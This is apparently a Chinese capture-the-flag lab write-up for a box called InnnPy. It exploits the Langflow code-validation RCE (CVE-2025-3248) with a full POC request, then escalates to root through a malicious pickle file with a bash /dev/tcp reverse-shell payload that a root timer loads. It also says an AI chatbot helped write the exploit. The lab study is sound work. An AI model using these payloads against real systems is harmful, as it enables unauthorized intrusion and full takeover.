

13.1-InnnPy

Kali: 192.168.56.102

靶机: 192.168.56.123

靶机难度: Baby (首次接触渗透测试)

漏洞描述: Langflow 是一个流行的开源 AI 工作流可视化工具, 允许用户通过 Web 界面拖拽式构建基于 Python 的智能体和数据处理流程。

在 1.3.0 版本之前, Langflow 存在一个严重的未授权远程代码执行漏洞 (CVE-2025-3248)。/api/v1/validate/code 接口原本用来校验用户提交的 Python 代码是否合法, 其内部通过 ast 解析代码后, 使用 exec 执行所有函数定义。然而, Python 的装饰器和默认参数表达式也会在函数定义时被执行, 攻击者可以通过精心构造的装饰器或默认参数, 在未授权的情况下实现任意代码执行。

一、信息收集

```
nmap -p- -sV -sC 192.168.56.123
```

```
—(root@kali)-[/home/kali/Desktop]
```

```
└─# nmap -p- -sV -sC 192.168.56.123
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-19 23:21 EDT
```

```
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
```

```
Nmap scan report for 192.168.56.123
```

```
Host is up (0.0029s latency).
```

```
Not shown: 65532 closed tcp ports (reset)
```

```
PORT      STATE SERVICE VERSION
```

```
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
```

```
80/tcp    open  http      nginx
```

```
|_http-title: Langflow
```

```
7860/tcp  open  http      Uvicorn
```

```
|_http-title: Langflow
```

```
|_http-server-header: uvicorn
```

```
MAC Address: 08:00:27:69:D0:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 22.97 seconds
```

```
dirsearch -u http://192.168.56.123:80 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e json -t 50
```

```
└─(root@kali)-[/home/kali/Desktop]
└─# dirsearch -u http://192.168.56.123:80 -w
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e
json -t 50
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23:
DeprecationWarning: pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
    from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _ _ _|. _ _  v0.4.3
  (||||_|) (/_(_|| (|_|)
```

Extensions: json | HTTP method: GET | Threads: 50 | Wordlist size: 29999

Output File: /home/kali/Desktop/reports/http_192.168.56.123_80/_26-06-19_23-23-22.txt

Target: http://192.168.56.123/

```
[23:23:22] Starting:
[23:23:23] 403 - 51B - /logs
[23:23:23] 200 - 1007B - /docs
[23:23:23] 404 - 22B - /api
[23:23:29] 200 - 15B - /health
[23:23:48] 404 - 22B - /api-doc
[23:24:01] 404 - 22B - /apis
[23:24:31] 404 - 22B - /api_test
[23:24:42] 404 - 22B - /api3
[23:25:20] 404 - 22B - /api2
[23:25:20] 404 - 22B - /api4
```

Task Completed

综上，靶机开放端口22、80、7860，访问<http://192.168.56.123:7860/docs>得到部署的业务为1.2.0版本的Langflow.

二、漏洞复现

Langflow code API 未授权远程代码执行漏洞 CVE-2025-3248

影响版本: Langflow < 1.3.0

POC:

POST /api/v1/validate/code HTTP/1.1

Host: your-ip:7860

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en,zh-CN;q=0.9,zh;q=0.8

Content-Type: application/json

Content-Length: 125

```
{
  "code": "@exec(\"raise
Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n
pass", "a7fb98s8pvr": "="}
```

对于本次靶机, 需要自行抓包-改包-发包即可验证. (这里要抓POST /api/v1/flows/的包, 操作为进入Langflow创建新的项目, 之后在BP里面翻找就行)

抓包后修改地址, 在包的最后输入

```
{
  "code": "@exec(\"raise
Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n
pass", "a7fb98s8pvr": "="}
```

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 POST /api/v1/validate/code HTTP/1.1 2 Host: 192.168.56.123:7860 3 Content-Length: 123 4 Accept: application/json, text/plain, */* 5 Accept-Language: en 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 7 Content-Type: application/json 8 Origin: http://192.168.56.123:7860 9 Referer: http://192.168.56.123:7860/all/folder/7b56b0c6-8667-4ff2-b456-e6eac05c 50d9 10 Accept-Encoding: gzip, deflate 11 Cookie: apikey_tkn_lflw=""; auto_login_lf=auto; sidebar:state=true; access_token_lf= eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0NmU4MDg4OC05M2Q1LTQ4O GYtOGUyYy0xZmZjY2VmNDNDlNGMiLCJ0eXB1IjoiaYWNjZXNzIiwiaXNjaXhwaWJj xFQ.LTlLi100iVR0yPDqkGBo_ojsAethjOsxaGMwS2z60lg 12 Connection: close 13 14 { "code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass", "a7fb98s8pvr": "=" }</pre>		<pre>1 HTTP/1.1 200 OK 2 date: Sat, 20 Jun 2026 03:39:46 GMT 3 server: uvicorn 4 content-length: 105 5 content-type: application/json 6 access-control-allow-origin: http://192.168.56.123:7860 7 access-control-allow-credentials: true 8 vary: Origin 9 connection: close 10 11 { "imports":{ "errors":[] }, "function":{ "errors":["b'uid=1000(lnnn) gid=1000(lnnn) groups=1000(lnnn)\\n'"] } }</pre>	

反弹shell:

```
{
  "code": "@exec(\"import os; os.system('bash -c \\\"\\\"exec
```

```
(root@kali)~[/home/kali/Desktop]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.123] 39510
whoami
lnnn
ls -la
total 56
drwx----- 8 lnnn lnnn 4096 May 17 22:37 .
drwxr-xr-x 3 root root 4096 May 16 23:15 ..
lrwxrwxrwx 1 root root 9 May 17 21:04 .bash_history -> /dev/null
-rw-r--r-- 1 lnnn lnnn 220 Mar 8 11:21 .bash_logout
-rw-r--r-- 1 lnnn lnnn 3526 Mar 8 11:21 .bashrc
drwxr-xr-x 4 lnnn lnnn 4096 May 17 22:42 .cache
drwxr-xr-x 3 lnnn lnnn 4096 May 16 23:32 .config
drwx----- 2 lnnn lnnn 4096 Jun 19 23:21 .gunicorn
drwxr-xr-x 2 lnnn lnnn 4096 Jun 19 23:21 .langflow
drwxrwxrwx 2 lnnn lnnn 4096 May 18 03:48 models
-rw-r--r-- 1 lnnn lnnn 153 May 17 21:40 .notes.txt
-rw-r--r-- 1 lnnn lnnn 807 Mar 8 11:21 .profile
-rw-r--r-- 1 lnnn lnnn 183 May 17 21:40 README.txt
drwxr-xr-x 2 lnnn lnnn 4096 May 16 23:15 .ssh
-rw-r--r-- 1 lnnn lnnn 44 May 16 23:15 user.txt
cat user.txt
lnnn{w3lc0me_t0_lnnn_w0rksh0p_y0u_g0t_u53r}
```

上传linpeas.sh，扔给Deepseek进行分析，发现/opt/lnnn-eval/路径下存在eval_daemon.py文件。

4 / 6

```

import sys

LOG_FILE = '/var/log/lnnn-eval.log'
MODEL_DIR = '/home/lnnn/models'

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format='%(asctime)s [lnnn-eval] %(levelname)s %(message)s'
)

def load_models():
    pattern = os.path.join(MODEL_DIR, '*.pkl')
    models = glob.glob(pattern)
    if not models:
        logging.info('No models found in %s', MODEL_DIR)
        return
    for path in models:
        try:
            logging.info('Loading model: %s', path)
            with open(path, 'rb') as f:
                model = pickle.load(f)
            logging.info('Model loaded successfully: %s (type=%s)', path,
type(model).__name__)
        except Exception as e:
            logging.warning('Failed to load model %s: %s', path, e)

if __name__ == '__main__':
    logging.info("lnnn model eval daemon started (uid=%d)", os.getuid())
    os.chdir("/home/lnnn")
    load_models()
    logging.info('Eval cycle complete')

```

linpeas分析得到lnnn-eval.timer每分钟以root用户执行lnnn-eval.service，并且py脚本使用服务脚本位于 /opt/lnnn-eval/eval_daemon.py，该 Python 脚本使用 pickle.load() 加载/home/lnnn/models/*.pkl文件，最终在Deepseek的帮助下得到如下的exp

```

cat > /tmp/exploit.py << 'EOF'
import pickle
import os
import socket

```

```

class Payload:
    def __reduce__(self):
        # 反弹 shell 到你的 Kali (IP 192.168.56.102, 端口 9000)
        cmd = 'bash -c "exec 5<>/dev/tcp/192.168.56.102/9000 && bash <&5 >&5 2>&5"'
        return (os.system, (cmd,))

with open('/home/lnnn/models/root.pkl', 'wb') as f:
    pickle.dump(Payload(), f)
EOF

```

运行并且查看

```

python3 /tmp/exploit.py
tail -f /var/log/lnnn-eval.log

```

The screenshot shows a terminal window with two panes. The left pane displays the execution of the exploit script, which includes logging the daemon start, finding models, and dumping the payload. The right pane shows the nc listener on port 9000 receiving a connection from 192.168.56.123, followed by a series of directory listings and file access attempts, eventually leading to a root shell.

```

kali@kali: ~/Desktop
Session Actions Edit View Help
odel).__name__
except Exception as e:
    logging.warning('Failed to load model %s: %s', path, e)

if __name__ == '__main__':
    logging.info("lnnn model eval daemon started (uid=%d)", os.getuid())
    os.chdir("/home/lnnn")
    load_models()
    logging.info('Eval cycle complete')

cat > /tmp/exploit.py << 'EOF'
import pickle
import os
import socket

class Payload:
    def __reduce__(self):
        # 反弹 shell 到你的 Kali (IP 192.168.56.102, 端口 9000)
        cmd = 'bash -c "exec 5<>/dev/tcp/192.168.56.102/9000 && bash <&5 >&5 2>&5"'
        return (os.system, (cmd,))

with open('/home/lnnn/models/root.pkl', 'wb') as f:
    pickle.dump(Payload(), f)
EOF
python3 /tmp/exploit.py
tail -f /var/log/lnnn-eval.log
2026-06-19 23:43:03,713 [lnnn-eval] INFO Eval cycle complete
2026-06-19 23:45:04,707 [lnnn-eval] INFO lnnn model eval daemon started (uid=0)
2026-06-19 23:45:04,708 [lnnn-eval] INFO No models found in /home/lnnn/models
2026-06-19 23:45:04,708 [lnnn-eval] INFO Eval cycle complete
2026-06-19 23:47:05,697 [lnnn-eval] INFO lnnn model eval daemon started (uid=0)
2026-06-19 23:47:05,697 [lnnn-eval] INFO No models found in /home/lnnn/models
2026-06-19 23:47:05,698 [lnnn-eval] INFO Eval cycle complete
2026-06-19 23:49:06,703 [lnnn-eval] INFO lnnn model eval daemon started (uid=0)
2026-06-19 23:49:06,703 [lnnn-eval] INFO No models found in /home/lnnn/models
2026-06-19 23:49:06,703 [lnnn-eval] INFO Eval cycle complete
2026-06-19 23:51:07,702 [lnnn-eval] INFO lnnn model eval daemon started (uid=0)
2026-06-19 23:51:07,707 [lnnn-eval] INFO Loading model: /home/lnnn/models/root.p
kl
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)~[~/Desktop]
$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.123] 33224
whoami
root
cd /root
ls -la
total 64
drwx----- 6 root root 4096 May 17 22:20 .
drwxr-xr-x 18 root root 4096 May 16 05:19 ..
lrwxrwxrwx 1 root root 9 May 11 00:24 .bash_history -> /dev/null
-rw-r--r-- 1 root root 633 May 17 22:20 .bashrc
drwxr-xr-x 6 root root 4096 May 17 22:32 .cache
drwxr-xr-x 4 root root 4096 May 17 22:20 .config
-rwxr-xr-x 1 root root 182 Nov 29 2025 give_flag
-rwxr-xr-x 1 root root 16128 May 16 05:10 give_pass
-rw----- 1 root root 20 May 15 18:33 .lessht
drwxr-xr-x 4 root root 4096 May 17 22:20 .local
-rw-r--r-- 1 root root 158 May 17 22:20 .profile
-rw----- 1 root root 47 May 16 23:15 root.txt
drwx----- 2 root root 4096 May 18 03:51 .ssh
-rw----- 1 root root 0 May 17 21:30 .viminfo
-rw-r--r-- 1 root root 26 May 17 22:20 .zshrc
cat root.txt
lnnn{r00t_0f_lnnn_m4chine_p1ckl3_15_d4ng3r0u5}

```